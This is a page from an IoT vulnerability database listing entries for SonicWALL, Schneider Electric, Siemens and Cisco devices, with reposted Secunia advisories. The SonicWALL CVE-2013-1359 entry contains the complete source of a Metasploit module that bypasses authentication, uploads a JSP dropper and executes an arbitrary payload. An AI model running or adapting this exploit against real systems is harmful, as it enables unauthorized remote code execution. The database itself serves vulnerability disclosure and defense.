VARIoT IoT vulnerabilities database
| VAR-201301-0573 | No CVE | Watson Management Console Directory Traversal Vulnerability |
CVSS V2: - CVSS V3: - Severity: - |
Watson SHDSL Routers is a router device. The Watson SHDSL Routers watson management console incorrectly filters user-submitted HTTP requests, allowing attackers to exploit vulnerabilities for directory traversal attacks to obtain sensitive file information.
| VAR-202002-0533 | CVE-2013-1360 | plural SonicWALL Product authentication vulnerabilities |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
An Authentication Bypass vulnerability exists in DELL SonicWALL Global Management System (GMS) 4.1, 5.0, 5.1, 6.0, and 7.0, Analyzer 7.0, Universal Management Appliance (UMA) 5.1, 6.0, and 7.0 and ViewPoint 4.1, 5.0, and 6.0 via a crafted request to the SGMS interface, which could let a remote malicious user obtain administrative access. plural SonicWALL The product contains an authentication vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state.
Attackers can exploit this issue to gain administrative access to the web interface that could fully compromise the system.
The following versions are affected:
GMS/Analyzer/UMA 7.0.x
GMS/ViewPoint/UMA 6.0.x
GMS/ViewPoint/UMA 5.1.x
GMS/ViewPoint 5.0.x
GMS/ViewPoint 4.1.x. SonicWALL is a full-featured Internet security appliance designed specifically for large networks with ever-growing VPN needs. Authorization vulnerabilities exist in several DELL SonicWALL products
| VAR-202002-0532 | CVE-2013-1359 | plural SonicWALL Product authentication vulnerabilities |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
An Authentication Bypass Vulnerability exists in DELL SonicWALL Analyzer 7.0, Global Management System (GMS) 4.1, 5.0, 5.1, 6.0, and 7.0; Universal Management Appliance (UMA) 5.1, 6.0, and 7.0 and ViewPoint 4.1, 5.0, 5.1, and 6.0 via the skipSessionCheck parameter to the UMA interface (/appliance/), which could let a remote malicious user obtain access to the root account. plural SonicWALL The product contains an authentication vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state.
Attackers can exploit this issue to gain administrative access to the web interface. This allows attackers to execute arbitrary code with SYSTEM privileges that could fully compromise the system.
The following versions are affected:
GMS/Analyzer/UMA 7.0.x
GMS/ViewPoint/UMA 6.0.x
GMS/ViewPoint/UMA 5.1.x
GMS/ViewPoint 5.0.x
GMS/ViewPoint 4.1.x. SonicWALL is a full-featured Internet security appliance designed specifically for large networks with ever-growing VPN needs. Authorization vulnerabilities exist in several DELL SonicWALL products. ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWALL GMS 6 Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in SonicWALL GMS. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
Web Administration interface allows to abuse the "appliance" application and upload
an arbitrary payload embedded in a JSP. The module has been tested successfully on
SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
successfully while testing, shell payload have been used.
},
'Author' =>
[
'Nikolas Sotiriu', # Vulnerability Discovery
'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1359'],
[ 'OSVDB', '89347' ],
[ 'BID', '57445' ],
[ 'EDB', '24204' ]
],
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 17 2012'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
], self.class)
end
def on_new_session
# on_new_session will force stdapi to load (for Linux meterpreter)
end
def generate_jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
jspraw << "%>\n"
return jspraw
end
def get_install_path
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
'method' => 'POST',
'connection' => 'TE, close',
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'vars_post' => {
'num' => '123456',
'action' => 'show_diagnostics',
'task' => 'search',
'item' => 'application_log',
'criteria' => '*.*',
'width' => '500'
}
})
if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
return $1
end
return nil
end
def upload_file(location, filename, contents)
post_data = Rex::MIME::Message.new
post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'connection' => 'TE, close'
})
if res and res.code == 200 and res.body.empty?
return true
else
return false
end
end
def check
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
if get_install_path.nil?
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def exploit
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
# Get Tomcat installation path
print_status("#{@peer} - Retrieving Tomcat installation path...")
install_path = get_install_path
if install_path.nil?
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
end
print_good("#{@peer} - Tomcat installed on #{install_path}")
if target['Platform'] == "linux"
@location = "#{install_path}webapps/appliance/"
elsif target['Platform'] == "win"
@location = "#{install_path}webapps\\appliance\\"
end
# Upload the JSP and the raw payload
@jsp_name = rand_text_alphanumeric(8+rand(8))
jspraw = generate_jsp
# Specify the payload in hex as an extra file..
payload_hex = payload.encoded_exe.unpack('H*')[0]
print_status("#{@peer} - Uploading the payload")
if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)
print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")
else
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")
end
print_status("#{@peer} - Uploading the payload")
if upload_file(@location, "#{@jsp_name}.jsp", jspraw)
print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")
else
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")
end
print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/#{@jsp_name}.jsp",
'method' => 'GET'
})
if res and res.code != 200
print_warning("#{@peer} - Error triggering the payload")
end
register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")
register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")
end
end
| VAR-201301-0373 | CVE-2013-0655 | Schneider Electric Software Update Utility Arbitrary client code execution vulnerability |
CVSS V2: 9.3 CVSS V3: - Severity: HIGH |
The client in Schneider Electric Software Update (SESU) Utility 1.0.x and 1.1.x does not ensure that updates have a valid origin, which allows man-in-the-middle attackers to spoof updates, and consequently execute arbitrary code, by modifying the data stream on TCP port 80. Schneider Electric provides total solutions for the energy and infrastructure, industrial, data center and network, building and residential markets in more than 100 countries. The SESU tool used by several of these products is used to update software on Windows PC systems. The Schneider Electric software on the customer's PC uses the SESU service as the communication mechanism for the Schneider Electric Center Update Server, which can be used to receive software updates on a regular basis. The SESU client on the client PC does not check the authenticity of the source. By redirecting the message to port 80 of the unauthorized source, the attacker can execute arbitrary code on the system. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Schneider Electric Multiple Products SESU Update Spoofing
Vulnerability
SECUNIA ADVISORY ID:
SA51849
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/51849/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=51849
RELEASE DATE:
2013-01-17
DISCUSS ADVISORY:
http://secunia.com/advisories/51849/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/51849/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=51849
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in multiple Schneider Electric
products, which can be exploited by malicious people to conduct
spoofing attacks.
The vulnerability is caused due to the Schneider-Electric Software
Update (SESU) utility insecurely validating new updates and can be
exploited to e.g. spoof an update via Man-in-the-Middle (MitM)
attacks.
The vulnerability is reported in the following products and
versions:
* IDS version 1.0
* IDS version 2.0
* PowerSuite version 2.5
* Smart Widget Acti 9 version 1.0.0.0
* Smart Widget H8035 version 1.0.0.0
* Smart Widget H8036 version 1.0.0.0
* Smart Widget PM210 version 1.0.0.0
* Smart Widget PM710 version 1.0.0.0
* Smart Widget PM750 version 1.0.0.0
* SoMachine version 1.2.1
* Spacial.pro versions 1.0.0.x
* SESU versions 1.0.x
* SESU versions 1.1.x
* Unity Pro version 5.0
* Unity Pro version 6.0
* Unity Pro version 6.1
* Unity Pro version 4.1
* Vijeo Designer versions 6.0.x
* Vijeo Designer versions 6.1.0.x
* Vijeo Designer versions 5.0.0.x
* Vijeo Designer versions 5.1.0.x
* Vijeo Designer Opti versions 6.0.x
* Vijeo Designer Opti versions 5.1.0.x
* Vijeo Designer Opti versions 5.0.0.x
* Web Gate Client Files version 5.1.x
SOLUTION:
Update the SESU client to a fixed version.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits Arthur Gervais.
ORIGINAL ADVISORY:
Schneider:
http://download.schneider-electric.com/files?p_File_Id=29960974&p_File_Name=SEVD-2013-009-01.pdf
ICS-CERT:
http://www.us-cert.gov/control_systems/pdf/ICSA-13-016-01.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201301-0550 | No CVE | SIEMENS SIMATIC S7 PLC System Password Disclosure Vulnerability |
CVSS V2: - CVSS V3: - Severity: MEDIUM |
Siemens SIMATIC is an automation software in a single engineering environment. The challenge-response protocol used by SIEMENS SIMATIC S7 PLC for online verification has security vulnerabilities that allow attackers in border networks to intercept TCP/IP communications and then obtain challenge-response data from files for password brute force hacking. Siemens SIMATIC S7 Programmable Logic Controllers (PLC) systems are prone to a password-disclosure vulnerability.
Attackers can exploit this issue to obtain device password credentials. This may aid in further attacks
| VAR-201304-0151 | CVE-2013-0664 | Schneider Electric Ethernet Modules Cross-Site Request Forgery Vulnerability |
CVSS V2: 8.5 CVSS V3: - Severity: HIGH |
The FactoryCast service on the Schneider Electric Quantum 140NOE77111 and 140NWM10000, M340 BMXNOE0110x, and Premium TSXETY5103 PLC modules allows remote authenticated users to send Modbus messages, and consequently execute arbitrary code, by embedding these messages in SOAP HTTP POST requests. Schneider Electric Ethernetmokuai has a cross-site request forgery vulnerability that allows an attacker to build a malicious URI, entice a user to resolve, and perform malicious actions, such as changing passwords, in the context of the target user. The following versions are affected by this vulnerability: Quantum: 140NOE77111 140NOE77101 140NWM10000 M340: BMXNOC0401 BMXNOE0100x BMXNOE011xx Premium: TSXETY4103 TSXETY5103 TSXWMY100. Schneider Electric provides total solutions for the energy and infrastructure, industrial, data center and network, building and residential markets in more than 100 countries. The SESU tool used by several of these products is used to update software on Windows PC systems. The mechanism sent to the PLC via the Modbus command does not require authentication, allowing the attacker to send these messages to perform stop operations, modify I/O data, and so on. Schneider Electric Products are prone to multiple security vulnerabilities.
Successfully exploiting these issues allows remote attackers to execute arbitrary code or perform unauthorized actions in the context of the user's session; other attacks are also possible.
Note: The denial-of-service vulnerability issue affecting Modicon M340 and the authentication-bypass issue affecting Maagelis XBT HMI were determined not to be vulnerabilities.
The following Schneider Electric products are affected:
BMX NOE 0110
Modicon M340. Schneider Electric software on customer PCs uses the SESU service as a communication mechanism to the Schneider Electric central update server, which can be used to receive software updates on a regular basis. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Schneider Electric Ethernet Modules Cross-Site Request Forgery
Vulnerability
SECUNIA ADVISORY ID:
SA52189
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/52189/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=52189
RELEASE DATE:
2013-02-14
DISCUSS ADVISORY:
http://secunia.com/advisories/52189/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/52189/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=52189
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Schneider Electric Ethernet
Modules, which can be exploited by malicious people to conduct
cross-site request forgery attacks.
The vulnerability is caused due to the modules allowing users to
perform certain actions via HTTP requests without performing proper
validity checks to verify the requests. This can be exploited to e.g.
change credentials when a logged-in administrator visits a specially
crafted web page.
Quantum:
140NOE77111
140NOE77101
140NWM10000
M340:
BMXNOC0401
BMXNOE0100x
BMXNOE011xx
Premium:
TSXETY4103
TSXETY5103
TSXWMY100
SOLUTION:
No official solution is currently available.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits Arthur Gervais.
ORIGINAL ADVISORY:
SEVD-2013-023-01:
http://download.schneider-electric.com/files?L=en&p=&p_docId=&p_docId=&p_Reference=SEVD%202013-023-01&p_EnDocType=Technical%20paper&p_File_Id=36555639&p_File_Name=SEVD-2013-023-01.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201304-0150 | CVE-2013-0663 | Schneider Electric Ethernet Modules Cross-Site Request Forgery Vulnerability |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Cross-site request forgery (CSRF) vulnerability on the Schneider Electric Quantum 140NOE77111, 140NOE77101, and 140NWM10000; M340 BMXNOC0401, BMXNOE0100x, and BMXNOE011xx; and Premium TSXETY4103, TSXETY5103, and TSXWMY100 PLC modules allows remote attackers to hijack the authentication of arbitrary users for requests that execute commands, as demonstrated by modifying HTTP credentials. The following versions are affected by this vulnerability: Quantum: 140NOE77111 140NOE77101 140NWM10000 M340: BMXNOC0401 BMXNOE0100x BMXNOE011xx Premium: TSXETY4103 TSXETY5103 TSXWMY100. Schneider Electric provides total solutions for the energy and infrastructure, industrial, data center and network, building and residential markets in more than 100 countries. The SESU tool used by several of these products is used to update software on Windows PC systems. Such as modifying the HTTP authentication credentials. Schneider Electric Products are prone to multiple security vulnerabilities.
Successfully exploiting these issues allows remote attackers to execute arbitrary code or perform unauthorized actions in the context of the user's session; other attacks are also possible.
Note: The denial-of-service vulnerability issue affecting Modicon M340 and the authentication-bypass issue affecting Maagelis XBT HMI were determined not to be vulnerabilities.
The following Schneider Electric products are affected:
BMX NOE 0110
Modicon M340. Schneider Electric software on customer PCs uses the SESU service as a communication mechanism to the Schneider Electric central update server, which can be used to receive software updates on a regular basis. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Schneider Electric Ethernet Modules Cross-Site Request Forgery
Vulnerability
SECUNIA ADVISORY ID:
SA52189
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/52189/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=52189
RELEASE DATE:
2013-02-14
DISCUSS ADVISORY:
http://secunia.com/advisories/52189/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/52189/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=52189
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Schneider Electric Ethernet
Modules, which can be exploited by malicious people to conduct
cross-site request forgery attacks.
The vulnerability is caused due to the modules allowing users to
perform certain actions via HTTP requests without performing proper
validity checks to verify the requests. This can be exploited to e.g.
change credentials when a logged-in administrator visits a specially
crafted web page.
Quantum:
140NOE77111
140NOE77101
140NWM10000
M340:
BMXNOC0401
BMXNOE0100x
BMXNOE011xx
Premium:
TSXETY4103
TSXETY5103
TSXWMY100
SOLUTION:
No official solution is currently available.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits Arthur Gervais.
ORIGINAL ADVISORY:
SEVD-2013-023-01:
http://download.schneider-electric.com/files?L=en&p=&p_docId=&p_docId=&p_Reference=SEVD%202013-023-01&p_EnDocType=Technical%20paper&p_File_Id=36555639&p_File_Name=SEVD-2013-023-01.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201301-0131 | CVE-2012-5717 | Cisco Adaptive Security Appliances Service disruption in ( Device crash ) Vulnerabilities |
CVSS V2: 6.3 CVSS V3: - Severity: MEDIUM |
Cisco Adaptive Security Appliances (ASA) devices with firmware 8.x through 8.4(1) do not properly manage SSH sessions, which allows remote authenticated users to cause a denial of service (device crash) by establishing multiple sessions, aka Bug ID CSCtc59462.
Successful exploits may allow an attacker to cause a crash, resulting in a denial-of-service condition.
This issue is being tracked by Cisco bug ID CSCtc59462
| VAR-201301-0039 | CVE-2012-5419 | Cisco ASA 1000V Cloud Firewall for ASA Service disruption in software (DoS) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
Cisco Adaptive Security Appliance (ASA) software 8.7.1 and 8.7.1.1 for the Cisco ASA 1000V Cloud Firewall allows remote attackers to cause a denial of service (device reload) via a malformed H.225 H.323 IPv4 packet, aka Bug IDs CSCuc42812 and CSCuc88741. The problem is Bug ID CSCuc42812 and CSCuc88741 It is a problem.Malformed by a third party H.225 , H.323 ,and IPv4 Service disruption via packets (( Device reload ) There is a possibility of being put into a state.
Successful exploits may allow an attacker to trigger a reload on the device. A sustained denial-of-service condition can also arise due to repeated attacks.
This issue is being tracked by Cisco bug ID CSCuc42812. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Cisco ASA 1000V Cloud Firewall H.323 Inspection Denial of Service
Vulnerability
SECUNIA ADVISORY ID:
SA51897
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/51897/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=51897
RELEASE DATE:
2013-01-16
DISCUSS ADVISORY:
http://secunia.com/advisories/51897/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/51897/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=51897
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Cisco ASA 1000V Cloud Firewall,
which can be exploited by malicious people to cause a DoS (Denial of
Service).
The vulnerability is caused due to an error when inspecting H.323
packets and can be exploited to trigger a reload via a specially
crafted packet sent through the device.
Successful exploitation requires that H.323 inspection is enabled
(enabled by default).
The vulnerability is reported in versions 8.7.1 and 8.7.1.1.
SOLUTION:
Update to version 8.7.1.3.
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
Cisco:
tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130116-asa1000v
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201303-0030 | CVE-2012-5053 | Trimble Infrastructure GNSS Series Receiver Vulnerable to cross-site scripting |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
